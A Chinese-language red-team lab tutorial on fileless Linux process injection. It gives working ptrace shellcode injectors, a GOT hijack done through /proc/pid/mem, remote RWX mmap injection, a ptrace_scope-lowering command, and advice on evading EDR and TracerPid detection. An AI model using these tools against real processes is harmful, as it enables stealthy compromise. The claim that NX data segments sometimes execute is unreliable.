如何在不向磁盘写入任何文件的前提下,将payload注入到一个已有的合法进程中长期驻留?

这不是一个新问题。Windows平台上的进程注入技术(CreateRemoteThread、APC Injection、Process Hollowing)已经被研究得相当充分,MITRE ATT&CK的T1055条目下列出了十余种子技术。但Linux侧的讨论往往停留在LD_PRELOAD这类启动时劫持手段,Linux内核通过ptrace系统调用和/proc伪文件系统暴露了极为强大的进程调试与内省能力。这两套机制本是调试器(GDB)和性能剖析工具(perf、strace)的基础设施,但同样构成了进程注入攻击的核心原语。

一、Linux进程内存模型与动态链接机制

1.1 ELF进程的虚拟地址空间布局

理解进程注入的前提是搞清楚目标进程的内存长什么样。一个典型的x86_64 ELF进程启动后,内核会为其建立如下的虚拟地址空间布局(从高地址到低地址):

几个对注入操作至关重要的区域:

  • .text段(r-x):存放机器指令,只读可执行。注入shellcode不能直接写到这里,除非先通过mprotect修改权限。
  • .got / .got.plt段(rw-):全局偏移表,存放动态链接解析后的函数地址。GOT劫持的核心目标。
  • [heap]:通过brk/sbrk扩展的堆区域,可读写但默认不可执行(NX bit)。
  • mmap区域:动态库加载、匿名映射均落在此区域。通过远程mmap调用可以在此分配RWX内存。
  • [vdso]:内核映射到用户空间的虚拟动态共享对象,提供快速系统调用入口。

1.2 /proc伪文件系统:进程的透视镜

Linux的/proc/[pid]/目录为每个进程暴露了大量运行时信息。对于进程注入,我们关注两个关键文件:

/proc/[pid]/maps ——以文本形式列出进程的所有虚拟内存映射区域,包括起止地址、权限标志(rwxp/rwxs)、偏移、设备号、inode以及映射来源(文件路径或标注如[heap]、[stack])。这是我们定位GOT表、代码段基址的核心信息源。

/proc/[pid]/mem ——这个文件将进程的整个虚拟地址空间以线性文件的形式暴露出来。对它执行lseek+read/write操作等价于直接读写目标进程的内存。内核对该文件的访问控制遵循以下规则:

  • 操作者必须与目标进程属于同一UID,或拥有CAP_SYS_PTRACE能力
  • 受YAMA LSM模块的ptrace_scope配置约束(稍后详述)
  • 从内核3.x起,对/proc/[pid]/mem的写操作不再要求先PTRACE_ATTACH——这一变化是第三章无ptrace注入方案的技术基础

1.3 GOT/PLT延迟绑定:劫持的窗口

动态链接的ELF二进制文件在调用共享库函数时,并不在编译期确定目标地址,而是通过PLT(Procedure Linkage Table)和GOT(Global Offset Table)的配合实现运行时解析。以调用puts()为例:

关键点在于:GOT表项位于可写内存段。一旦我们能定位到某个函数(如puts、printf)在GOT中的表项地址,并将其覆写为我们控制的shellcode地址,那么目标进程下次调用该函数时就会跳转到我们的代码。这就是GOT劫持的核心原理。

如果ELF二进制以Full RELRO(-Wl,-z,relro,-z,now)编译,GOT在程序启动时一次性解析完毕后会被标记为只读。此时GOT劫持需要额外的mprotect调用来解除写保护,或者转而劫持其他可写的函数指针(如.fini_array、atexit handler等)。

二、基于ptrace的经典进程注入

2.1 ptrace系统调用族

ptrace(2)是Linux调试基础设施的核心。GDB、strace、ltrace等工具均构建在它之上。对于进程注入,我们需要用到以下操作:

请求类型

功能

注入中的用途

PTRACE_ATTACH

附加到目标进程,发送SIGSTOP

获取控制权

PTRACE_PEEKTEXT

读取目标进程一个word的内存

备份原始指令

PTRACE_POKETEXT

写入目标进程一个word的内存

注入shellcode

PTRACE_GETREGS

获取目标进程寄存器状态

保存原始上下文

PTRACE_SETREGS

设置目标进程寄存器

劫持RIP跳转到shellcode

PTRACE_CONT

恢复目标进程执行

让注入代码运行

PTRACE_DETACH

断开附加关系

清理痕迹

ptrace注入的基本流程:attach目标进程 → 保存寄存器和指令 → 在RIP处写入shellcode → 修改RIP指向shellcode → 恢复执行 → shellcode运行完成后恢复原始状态 → detach。

2.2 实验环境准备

在开始实验之前,需要确认YAMA ptrace_scope的设置。Kali Linux默认值为0(允许同UID进程间的ptrace),如果遇到权限问题:

cat /proc/sys/kernel/yama/ptrace_scope

# 如果值不为0,临时修改:
# echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

2.3ptrace注入shellcode到目标进程

编写注入器将一段打印消息的shellcode注入到正在运行的目标进程中

2.3.1 目标程序 target.c

一个简单的循环程序,每隔2秒打印一次消息。它将作为注入的目标:

#include <stdio.h>
#include <unistd.h>

int main(void) {
    int counter = 0;
    printf("[target] PID = %d\n", getpid());
    while (1) {
        puts("[target] heartbeat");
        printf("[target] count = %d\n", counter++);
        fflush(stdout);
        sleep(2);
    }
    return 0;
}
gcc -o target target.c -no-pie
./target &

说明:使用-no-pie编译是为了让地址固定,降低实验复杂度。后续实验会处理PIE的情况。这里同时使用了puts()和printf(),确保GOT中包含这两个函数的表项,为后续实验做准备。

2.3.2 注入器 injector.c

这个注入器完成以下工作:附加到目标进程,在当前RIP位置注入一段x86_64 shellcode(通过write(1, msg, len)系统调用向stdout输出一条消息),执行后恢复原始指令和寄存器状态。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
#include <errno.h>

/*
 * x86_64 shellcode: write(1, msg, 29) + int3
 * 功能:向stdout打印 "[INJECTED] payload executed!\n"
 * 最后以int3 (0xCC) 触发SIGTRAP,通知注入器执行完毕
 *
 * 字节布局(共54字节):
 *   [0..6]   lea rsi, [rip+0x12]   ; 7字节, RIP推进到offset 7
 *   [7..11]  mov edi, 1            ; 5字节
 *   [12..16] mov edx, 29           ; 5字节
 *   [17..21] mov eax, 1            ; 5字节
 *   [22..23] syscall               ; 2字节
 *   [24]     int3                  ; 1字节
 *   [25..53] 消息字符串 (29字节)
 *
 * RIP在lea执行后 = 7, 字符串起始 = 25, 偏移 = 25 - 7 = 18 = 0x12
 */
unsigned char shellcode[] = {
    /* lea rsi, [rip+0x12] -- 指向末尾的字符串 */
    0x48, 0x8d, 0x35, 0x12, 0x00, 0x00, 0x00,
    /* mov edi, 1 */
    0xbf, 0x01, 0x00, 0x00, 0x00,
    /* mov edx, 29 (字符串长度) */
    0xba, 0x1d, 0x00, 0x00, 0x00,
    /* mov eax, 1 (sys_write) */
    0xb8, 0x01, 0x00, 0x00, 0x00,
    /* syscall */
    0x0f, 0x05,
    /* int3 */
    0xcc,
    /* 字符串: "[INJECTED] payload executed!\n" (29字节) */
    0x5b, 0x49, 0x4e, 0x4a, 0x45, 0x43,
    0x54, 0x45, 0x44, 0x5d, 0x20, 0x70,
    0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64,
    0x20, 0x65, 0x78, 0x65, 0x63, 0x75,
    0x74, 0x65, 0x64, 0x21, 0x0a
};

/* 通过PTRACE_PEEKTEXT逐word读取目标进程内存 */
void peek_bytes(pid_t pid, unsigned long addr,
                unsigned char *buf, size_t len) {
    size_t i;
    long word;
    for (i = 0; i < len; i += sizeof(long)) {
        word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL);
        size_t chunk = (len - i < sizeof(long)) ? len - i : sizeof(long);
        memcpy(buf + i, &word, chunk);
    }
}

/* 通过PTRACE_POKETEXT逐word写入目标进程内存 */
void poke_bytes(pid_t pid, unsigned long addr,
                unsigned char *buf, size_t len) {
    size_t i;
    long word;
    for (i = 0; i < len; i += sizeof(long)) {
        if (len - i < sizeof(long)) {
            /* 最后不足一个word:先读出原始值,再覆盖前几个字节 */
            word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL);
            memcpy(&word, buf + i, len - i);
        } else {
            memcpy(&word, buf + i, sizeof(long));
        }
        ptrace(PTRACE_POKETEXT, pid, addr + i, word);
    }
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }

    pid_t pid = atoi(argv[1]);
    struct user_regs_struct orig_regs;
    unsigned char orig_code[sizeof(shellcode)];
    int status;

    printf("[*] Attaching to process %d...\n", pid);

    /* 第一步:附加到目标进程 */
    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
        perror("[-] PTRACE_ATTACH failed");
        return 1;
    }
    waitpid(pid, &status, 0);
    printf("[+] Attached. Target stopped.\n");

    /* 第二步:保存原始寄存器状态 */
    ptrace(PTRACE_GETREGS, pid, NULL, &orig_regs);
    printf("[*] Original RIP = 0x%llx\n", orig_regs.rip);

    /* 第三步:备份RIP处的原始指令 */
    peek_bytes(pid, orig_regs.rip, orig_code, sizeof(shellcode));
    printf("[*] Backed up %zu bytes of original code\n",
           sizeof(shellcode));

    /* 第四步:在RIP处写入shellcode */
    poke_bytes(pid, orig_regs.rip, shellcode, sizeof(shellcode));
    printf("[+] Shellcode injected at 0x%llx\n", orig_regs.rip);

    /* 第五步:恢复执行,shellcode将运行直到int3 */
    ptrace(PTRACE_CONT, pid, NULL, NULL);
    printf("[*] Waiting for shellcode to execute...\n");
    waitpid(pid, &status, 0);

    if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
        printf("[+] SIGTRAP received. Shellcode executed.\n");
    }

    /* 第六步:恢复原始指令 */
    poke_bytes(pid, orig_regs.rip, orig_code, sizeof(shellcode));

    /* 第七步:恢复原始寄存器(RIP回到中断点) */
    ptrace(PTRACE_SETREGS, pid, NULL, &orig_regs);

    /* 第八步:分离,目标进程恢复正常运行 */
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    printf("[+] Detached. Target resumed normally.\n");

    return 0;
}
gcc -o injector injector.c
sudo ./injector $(pidof target)

注入完成后,观察target的终端输出会发现heartbeat序列中插入了一行[INJECTED] payload executed!,随后target继续正常打印,说明状态恢复成功。

2.4 ptrace注入的检测特征

ptrace注入有一个难以规避的痕迹:在PTRACE_ATTACH期间,目标进程的/proc/[pid]/status中TracerPid字段会显示注入器的PID:

$ grep TracerPid /proc/31337/status
TracerPid:	12345    ← 非零即存在ptrace附加

虽然attach-detach的时间窗口可能很短,但持续监控TracerPid字段的变化是一种有效的检测手段。此外,PTRACE_ATTACH会向目标进程发送SIGSTOP信号,这在auditd日志中也会留下痕迹。这些检测弱点直接催生了第三章的/proc/mem方案——完全绕过ptrace系统调用。

三、基于/proc/pid/mem的无ptrace注入

3.1 为什么要绕过ptrace?

上一章的ptrace注入虽然经典可靠,但存在几个操作安全(OPSEC)上的硬伤:

  • PTRACE_ATTACH会触发SIGSTOP信号,目标进程会短暂挂起
  • TracerPid字段在整个attach期间可被检测
  • 许多EDR产品会hook ptrace系统调用或监控audit日志中的ptrace事件
  • 当ptrace_scope=1时,只有父进程才能ptrace子进程

但从Linux内核3.x开始,/proc/[pid]/mem的写操作不再强制要求先执行PTRACE_ATTACH。只要满足权限条件(同UID或CAP_SYS_PTRACE),我们可以直接打开这个文件并写入任意内存地址。这意味着——可以在不调用任何ptrace函数的情况下修改目标进程的内存。

3.2 /proc/[pid]/mem的权限模型

内核在mem_open和mem_write路径上的检查逻辑(简化):

// fs/proc/base.c - mem_open()
if (!ptrace_may_access(task, PTRACE_MODE_ATTACH_REALCREDS))
    return -EACCES;

// ptrace_may_access() 检查:
//   1. 调用者uid == 目标进程uid(或调用者为root)
//   2. 调用者拥有CAP_SYS_PTRACE能力
//   3. YAMA LSM的ptrace_scope策略允许
//   4. 目标进程未被设置为不可dump(prctl PR_SET_DUMPABLE=0)

YAMA的ptrace_scope四个级别对/proc/mem的影响:

值

含义

对/proc/mem的影响

0

经典模式

同UID即可读写,无额外限制

1

受限模式

只允许父进程或已声明的调试者访问

2

仅管理员

只有CAP_SYS_PTRACE能力才能访问

3

完全禁用

任何进程都不能通过此路径访问

Kali Linux默认ptrace_scope=0,Ubuntu桌面版默认为1。在实际红队场景中,拿到root或同UID shell后通常面对的是scope 0或1的环境。

3.3 通过/proc/mem实现GOT劫持

使用Python脚本直接读写/proc/pid/mem,将目标进程的puts GOT项覆写为shellcode地址

这个实验的目标程序仍然使用前面的target.c(以-no-pie编译)。攻击思路:

  1. 解析/proc/[pid]/maps定位目标进程的ELF基址和各段位置
  2. 通过/proc/[pid]/mem读取ELF头部,解析动态段找到GOT
  3. 定位puts在GOT中的表项
  4. 在堆或可写段中写入shellcode
  5. 将GOT表项覆写为shellcode地址

got_hijack.py

#!/usr/bin/env python3
"""
通过 /proc/pid/mem 实现 GOT 劫持 —— 无需 ptrace 调用
目标:将 target 进程的 puts() GOT 项指向我们注入的 shellcode
"""

import sys
import struct
import os
import re

# x86_64 shellcode: write(1, msg, 23) 然后跳转回原始 puts
#
# 完整payload内存布局:
#   SHELLCODE_BODY (38字节)
#   + original_puts_addr (8字节)
#   + message_string (25字节)
#
# SHELLCODE_BODY 内部字节布局:
#   [0]      push rax
#   [1]      push rdi
#   [2]      push rsi
#   [3]      push rdx
#   [4..8]   mov edi, 1
#   [9..15]  lea rsi, [rip+0x1e]   ; RIP=16, msg at 46, delta=30=0x1e
#   [16..20] mov edx, 23           ; 消息长度 "[GOT-HIJACKED] hooked!\n"
#   [21..25] mov eax, 1            ; sys_write
#   [26..27] syscall
#   [28]     pop rdx
#   [29]     pop rsi
#   [30]     pop rdi
#   [31]     pop rax
#   [32..37] jmp [rip+0]           ; 跳转到紧接其后的原始puts地址

SHELLCODE_BODY = (
    # 保存寄存器
    b"\x50"                          # push rax
    b"\x57"                          # push rdi
    b"\x56"                          # push rsi
    b"\x52"                          # push rdx
    # write(1, msg, 23)
    b"\xbf\x01\x00\x00\x00"        # mov edi, 1
    b"\x48\x8d\x35\x1e\x00\x00\x00" # lea rsi, [rip+30]
    b"\xba\x17\x00\x00\x00"        # mov edx, 23
    b"\xb8\x01\x00\x00\x00"        # mov eax, 1
    b"\x0f\x05"                    # syscall
    # 恢复寄存器
    b"\x5a"                          # pop rdx
    b"\x5e"                          # pop rsi
    b"\x5f"                          # pop rdi
    b"\x58"                          # pop rax
    # 跳转到原始puts: jmp [rip+0]
    b"\xff\x25\x00\x00\x00\x00"    # jmp QWORD PTR [rip+0]
)
# 原始puts地址占位(8字节,运行时填充)
ORIG_ADDR_SLOT = b"\x00" * 8
# 内嵌消息字符串
PAYLOAD_MSG = b"[GOT-HIJACKED] hooked!\n\x00\x00"


def parse_maps(pid):
    """解析 /proc/pid/maps,返回内存映射列表"""
    mappings = []
    with open(f"/proc/{pid}/maps", "r") as f:
        for line in f:
            m = re.match(
                r"([0-9a-f]+)-([0-9a-f]+)\s+([\w-]+)\s+"
                r"([0-9a-f]+)\s+\S+\s+\d+\s*(.*)",
                line.strip()
            )
            if m:
                mappings.append({
                    "start": int(m.group(1), 16),
                    "end":   int(m.group(2), 16),
                    "perms": m.group(3),
                    "offset": int(m.group(4), 16),
                    "path":  m.group(5).strip()
                })
    return mappings


def find_elf_base(mappings, exe_path):
    """找到主ELF的加载基址(第一个offset=0的映射)"""
    for m in mappings:
        if exe_path in m["path"] and m["offset"] == 0:
            return m["start"]
    return None


def find_writable_region(mappings, exe_path):
    """找到ELF的可写数据段(rw-p),用于写入shellcode"""
    for m in mappings:
        if exe_path in m["path"] and "rw" in m["perms"]:
            return m
    return None


def read_mem(pid, addr, size):
    """通过 /proc/pid/mem 读取目标进程内存"""
    with open(f"/proc/{pid}/mem", "rb") as f:
        f.seek(addr)
        return f.read(size)


def write_mem(pid, addr, data):
    """通过 /proc/pid/mem 写入目标进程内存"""
    # 注意:必须用 r+b 模式,不能用 wb(wb会尝试截断)
    with open(f"/proc/{pid}/mem", "r+b") as f:
        f.seek(addr)
        f.write(data)
        f.flush()


def parse_elf_got(pid, base_addr):
    """
    解析ELF动态段,提取GOT中所有重定位条目
    返回: { symbol_name: got_entry_address }
    """
    # 读取ELF头
    ehdr = read_mem(pid, base_addr, 64)

    # 解析program header table
    e_phoff = struct.unpack_from("<Q", ehdr, 32)[0]
    e_phentsize = struct.unpack_from("<H", ehdr, 54)[0]
    e_phnum = struct.unpack_from("<H", ehdr, 56)[0]

    # 找到PT_DYNAMIC段
    dyn_addr = 0
    dyn_size = 0
    for i in range(e_phnum):
        phdr = read_mem(pid, base_addr + e_phoff + i * e_phentsize,
                        e_phentsize)
        p_type = struct.unpack_from("<I", phdr, 0)[0]
        if p_type == 2:  # PT_DYNAMIC
            dyn_addr = struct.unpack_from("<Q", phdr, 16)[0]
            dyn_size = struct.unpack_from("<Q", phdr, 32)[0]
            break

    if not dyn_addr:
        print("[-] PT_DYNAMIC not found")
        return {}

    # 对非PIE二进制,dyn_addr是绝对虚拟地址
    dyn_data = read_mem(pid, dyn_addr, dyn_size)

    # 解析动态表项,提取关键地址
    jmprel_addr = 0   # DT_JMPREL: .rela.plt
    jmprel_size = 0   # DT_PLTRELSZ
    symtab_addr = 0   # DT_SYMTAB
    strtab_addr = 0   # DT_STRTAB

    for off in range(0, dyn_size, 16):
        tag, val = struct.unpack_from("<qQ", dyn_data, off)
        if tag == 23:   # DT_JMPREL
            jmprel_addr = val
        elif tag == 2:  # DT_PLTRELSZ
            jmprel_size = val
        elif tag == 6:  # DT_SYMTAB
            symtab_addr = val
        elif tag == 5:  # DT_STRTAB
            strtab_addr = val
        elif tag == 0:  # DT_NULL (终止)
            break

    if not all([jmprel_addr, symtab_addr, strtab_addr]):
        print("[-] Missing dynamic entries")
        return {}

    # 读取strtab(符号名字符串表,读取4KB足够覆盖常见情况)
    strtab = read_mem(pid, strtab_addr, 4096)

    # 遍历 .rela.plt 表项
    got_entries = {}
    rela_data = read_mem(pid, jmprel_addr, jmprel_size)
    for off in range(0, jmprel_size, 24):  # Elf64_Rela = 24 bytes
        r_offset, r_info, _ = struct.unpack_from("<QQq",
                                                   rela_data, off)
        sym_idx = r_info >> 32

        # 读取对应的Elf64_Sym条目(每条24字节)
        sym_data = read_mem(pid,
                            symtab_addr + sym_idx * 24, 24)
        st_name = struct.unpack_from("<I", sym_data, 0)[0]

        # 从strtab提取符号名
        name_end = strtab.index(b"\x00", st_name)
        sym_name = strtab[st_name:name_end].decode("ascii",
                                                    errors="ignore")

        got_entries[sym_name] = r_offset

    return got_entries


def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <pid> <exe_path>")
        print(f"Example: {sys.argv[0]} 31337 /home/user/target")
        sys.exit(1)

    pid = int(sys.argv[1])
    exe_path = sys.argv[2]

    print(f"[*] Target PID: {pid}")
    print(f"[*] Exe path: {exe_path}")

    # Step 1: 解析内存映射
    mappings = parse_maps(pid)
    base = find_elf_base(mappings, exe_path)
    if base is None:
        print("[-] Cannot find ELF base")
        sys.exit(1)
    print(f"[+] ELF base: {hex(base)}")

    # Step 2: 解析GOT
    got_map = parse_elf_got(pid, base)
    print(f"[*] Found {len(got_map)} GOT entries:")
    for name, addr in got_map.items():
        print(f"    {name:<20s} @ {hex(addr)}")

    # Step 3: 定位puts的GOT项
    if "puts" not in got_map:
        print("[-] 'puts' not found in GOT")
        sys.exit(1)

    puts_got_addr = got_map["puts"]
    print(f"[+] puts@GOT = {hex(puts_got_addr)}")

    # 读取当前GOT值(即puts的实际地址)
    orig_puts_bytes = read_mem(pid, puts_got_addr, 8)
    orig_puts_addr = struct.unpack("<Q", orig_puts_bytes)[0]
    print(f"[+] Original puts() addr = {hex(orig_puts_addr)}")

    # Step 4: 在可写段末尾找一块空间写入shellcode
    rw_region = find_writable_region(mappings, exe_path)
    if not rw_region:
        print("[-] No writable region found")
        sys.exit(1)

    # 写到rw段末尾前256字节处(留出安全余量避免踩到实际数据)
    sc_addr = rw_region["end"] - 256
    print(f"[*] Shellcode injection addr = {hex(sc_addr)}")

    # 构造完整shellcode:body + 原始puts地址 + 消息
    payload = (SHELLCODE_BODY
               + struct.pack("<Q", orig_puts_addr)
               + PAYLOAD_MSG)

    print(f"[*] Payload size: {len(payload)} bytes")

    # Step 5: 写入shellcode
    write_mem(pid, sc_addr, payload)
    print("[+] Shellcode written to target memory")

    # Step 6: 覆写puts GOT项为shellcode地址
    write_mem(pid, puts_got_addr, struct.pack("<Q", sc_addr))
    print(f"[+] GOT[puts] overwritten: {hex(orig_puts_addr)}"
          f" -> {hex(sc_addr)}")

    print("[+] Done. Target will print hijack msg on next puts() call.")
    print("[*] To restore: write original addr back to GOT")


if __name__ == "__main__":
    main()


gcc -o target target.c -no-pie
./target &

sudo python3 got_hijack.py 35352 /home/rot/桌面/target

之后观察target的输出:

[GOT-HIJACKED] hooked!
[target] heartbeat
[target] count = 3
[GOT-HIJACKED] hooked!
[target] heartbeat
[target] count = 4
...

每次puts()被调用,都会先执行我们注入的shellcode打印劫持消息,然后跳转回真正的puts()完成原始功能。目标进程完全不知道发生了什么。

关键优势:整个过程没有调用任何ptrace函数。查看目标进程的TracerPid始终为0:

$ grep TracerPid /proc/35352/status
TracerPid:	0    ← 干净,无ptrace痕迹

局限性说明:这个实验将shellcode写入了ELF的rw-p数据段。该段没有执行权限(NX),之所以能执行是因为部分环境下内核不严格检查数据段的执行位(取决于CPU和内核配置)。在严格的NX环境中,需要先通过其他手段分配RWX内存——这正是第四章要解决的问题。

四、组合技——远程系统调用注入

4.1 技术思路

前两章分别展示了ptrace直接注入shellcode和通过/proc/mem进行GOT劫持。但两者都有限制:ptrace方案留下TracerPid痕迹;/proc/mem方案受限于目标进程已有的内存段权限(无法轻易获得RWX内存)。

第三种方案将二者结合:用ptrace劫持目标进程的指令指针,迫使它执行mmap系统调用分配一块RWX匿名内存,然后通过/proc/mem将完整payload写入这块新内存,最后恢复原始执行流。这种技术在安全社区中被称为"Remote Syscall Injection"或"Parasite Injection"。

4.2 远程mmap + payload注入

通过ptrace在目标进程中执行mmap分配RWX内存,然后写入并执行payload

remote_inject.c

// 在目标进程中远程执行 mmap() 分配 RWX 内存,
// 然后通过 /proc/pid/mem 写入 payload 并跳转执行。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

/*
 * 目标payload字节布局(共70字节):
 *   [0]      push rax
 *   [1]      push rdi
 *   [2]      push rsi
 *   [3]      push rdx
 *   [4..8]   mov edi, 1
 *   [9..15]  lea rsi, [rip+0x11]  ; RIP=16, string at 33, delta=17=0x11
 *   [16..20] mov edx, 37          ; 字符串长度
 *   [21..25] mov eax, 1           ; sys_write
 *   [26..27] syscall
 *   [28]     pop rdx
 *   [29]     pop rsi
 *   [30]     pop rdi
 *   [31]     pop rax
 *   [32]     int3                 ; 通知注入器
 *   [33..69] 消息字符串 (37字节)
 */
unsigned char payload[] = {
    /* push所有被修改的寄存器 */
    0x50,                               /* push rax */
    0x57,                               /* push rdi */
    0x56,                               /* push rsi */
    0x52,                               /* push rdx */
    /* write(1, msg, 37) */
    0xbf, 0x01, 0x00, 0x00, 0x00,     /* mov edi, 1 */
    0x48, 0x8d, 0x35,                   /* lea rsi, [rip+offset] */
    0x11, 0x00, 0x00, 0x00,             /* offset=17 to msg string */
    0xba, 0x25, 0x00, 0x00, 0x00,     /* mov edx, 37 */
    0xb8, 0x01, 0x00, 0x00, 0x00,     /* mov eax, 1 (sys_write) */
    0x0f, 0x05,                         /* syscall */
    /* 恢复寄存器 */
    0x5a,                               /* pop rdx */
    0x5e,                               /* pop rsi */
    0x5f,                               /* pop rdi */
    0x58,                               /* pop rax */
    /* int3 - 通知注入器payload执行完成 */
    0xcc,                               /* int3 */
    /* 消息字符串: "[REMOTE-INJECT] RWX payload running!\n" (37字节) */
    0x5b, 0x52, 0x45, 0x4d, 0x4f,     /* [REMO */
    0x54, 0x45, 0x2d, 0x49, 0x4e,     /* TE-IN */
    0x4a, 0x45, 0x43, 0x54, 0x5d,     /* JECT] */
    0x20, 0x52, 0x57, 0x58, 0x20,     /*  RWX  */
    0x70, 0x61, 0x79, 0x6c, 0x6f,     /* paylo */
    0x61, 0x64, 0x20, 0x72, 0x75,     /* ad ru */
    0x6e, 0x6e, 0x69, 0x6e, 0x67,     /* nning */
    0x21, 0x0a,                         /* !\n */
};

/* ptrace helper:逐word读写 */
void pt_peek(pid_t pid, unsigned long addr,
             void *buf, size_t len) {
    size_t i;
    long w;
    for (i = 0; i < len; i += sizeof(long)) {
        w = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL);
        size_t chunk = (len - i < sizeof(long)) ? len - i : sizeof(long);
        memcpy((char*)buf + i, &w, chunk);
    }
}

void pt_poke(pid_t pid, unsigned long addr,
             void *buf, size_t len) {
    size_t i;
    long w;
    for (i = 0; i < len; i += sizeof(long)) {
        if (len - i < sizeof(long)) {
            w = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL);
            memcpy(&w, (char*)buf + i, len - i);
        } else {
            memcpy(&w, (char*)buf + i, sizeof(long));
        }
        ptrace(PTRACE_POKETEXT, pid, addr + i, w);
    }
}

/*
 * remote_mmap: 在目标进程中远程执行 mmap 系统调用
 *
 * 原理:
 *   1. 在目标进程当前RIP处写入 syscall + int3 指令
 *   2. 设置寄存器为mmap参数 (RAX=9=__NR_mmap, RDI=addr,
 *      RSI=len, RDX=prot, R10=flags, R8=fd, R9=offset)
 *   3. 恢复执行,等待SIGTRAP
 *   4. 从RAX读取mmap返回值
 */
unsigned long remote_mmap(pid_t pid,
                          unsigned long addr,
                          size_t length,
                          int prot, int flags,
                          int fd, off_t offset) {
    struct user_regs_struct regs, saved;
    unsigned char orig_code[8];
    unsigned char syscall_int3[] = {
        0x0f, 0x05,  /* syscall */
        0xcc,        /* int3 */
    };
    int status;

    /* 保存当前寄存器和指令 */
    ptrace(PTRACE_GETREGS, pid, NULL, &saved);
    pt_peek(pid, saved.rip, orig_code, sizeof(orig_code));

    /* 写入 syscall + int3 */
    pt_poke(pid, saved.rip, syscall_int3, sizeof(syscall_int3));

    /* 设置 mmap 参数寄存器 */
    memcpy(&regs, &saved, sizeof(regs));
    regs.rax = 9;           /* __NR_mmap */
    regs.rdi = addr;        /* addr = NULL (让内核选择) */
    regs.rsi = length;      /* length */
    regs.rdx = prot;        /* prot */
    regs.r10 = flags;       /* flags */
    regs.r8  = (unsigned long)fd;  /* fd */
    regs.r9  = offset;      /* offset */
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);

    /* 执行syscall */
    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    /* 读取mmap返回值 */
    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    unsigned long result = regs.rax;

    /* 恢复原始指令和寄存器 */
    pt_poke(pid, saved.rip, orig_code, sizeof(orig_code));
    ptrace(PTRACE_SETREGS, pid, NULL, &saved);

    return result;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }

    pid_t pid = atoi(argv[1]);
    struct user_regs_struct orig_regs;
    int status;
    char mem_path[64];

    printf("[*] Target PID: %d\n", pid);

    /* Phase 1: Attach */
    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
        perror("[-] PTRACE_ATTACH");
        return 1;
    }
    waitpid(pid, &status, 0);
    ptrace(PTRACE_GETREGS, pid, NULL, &orig_regs);
    printf("[+] Attached. RIP = 0x%llx\n", orig_regs.rip);

    /* Phase 2: 远程mmap分配RWX内存 */
    unsigned long rwx_addr = remote_mmap(pid,
        0,             /* addr: NULL */
        4096,          /* size: 1 page */
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_PRIVATE | MAP_ANONYMOUS,
        -1,            /* fd */
        0              /* offset */
    );

    if ((long)rwx_addr < 0) {
        fprintf(stderr, "[-] Remote mmap failed: %ld\n",
                (long)rwx_addr);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return 1;
    }
    printf("[+] Remote mmap succeeded: RWX @ 0x%lx\n", rwx_addr);

    /* Phase 3: 通过 /proc/pid/mem 写入payload到RWX区域 */
    snprintf(mem_path, sizeof(mem_path), "/proc/%d/mem", pid);
    FILE *mem_fp = fopen(mem_path, "r+b");
    if (!mem_fp) {
        perror("[-] fopen /proc/mem");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return 1;
    }
    fseek(mem_fp, rwx_addr, SEEK_SET);
    fwrite(payload, 1, sizeof(payload), mem_fp);
    fflush(mem_fp);
    fclose(mem_fp);
    printf("[+] Payload (%zu bytes) written via /proc/mem\n",
           sizeof(payload));

    /* Phase 4: 劫持RIP跳转到payload */
    struct user_regs_struct jump_regs;
    memcpy(&jump_regs, &orig_regs, sizeof(jump_regs));
    jump_regs.rip = rwx_addr;
    ptrace(PTRACE_SETREGS, pid, NULL, &jump_regs);
    printf("[*] RIP set to 0x%lx, executing payload...\n",
           rwx_addr);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
        printf("[+] Payload executed successfully!\n");
    }

    /* Phase 5: 恢复原始寄存器并detach */
    ptrace(PTRACE_SETREGS, pid, NULL, &orig_regs);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    printf("[+] Original context restored. Detached.\n");

    /* 验证:RWX区域仍然存在于目标进程中 */
    printf("[*] Verify: check /proc/%d/maps for anon RWX region\n",
           pid);

    return 0;
}

继续编译运行 target

gcc -o target target.c -no-pie
./target &

gcc -o remote_inject remote_inject.c
sudo ./remote_inject $(pidof target)

注入完成后验证目标进程的内存映射,可以看到新分配的匿名RWX区域:

grep 'rwxp' /proc/42528/maps

4.3 技术难点分析

实际红队工具在此基础上还需处理以下问题:

信号处理:如果目标进程注册了SIGTRAP handler,int3可能被目标自身捕获而非返回给tracer。更健壮的做法是在payload末尾使用一个不常见的信号(如SIGSTOP),或者在syscall返回后用PTRACE_SINGLESTEP逐步执行。

多线程竞态:多线程目标进程中,PTRACE_ATTACH只会停止指定的线程(Linux中ptrace以线程为单位)。其他线程继续执行,可能访问被我们修改的内存区域。安全的做法是先枚举/proc/[pid]/task/下所有线程并逐一attach。

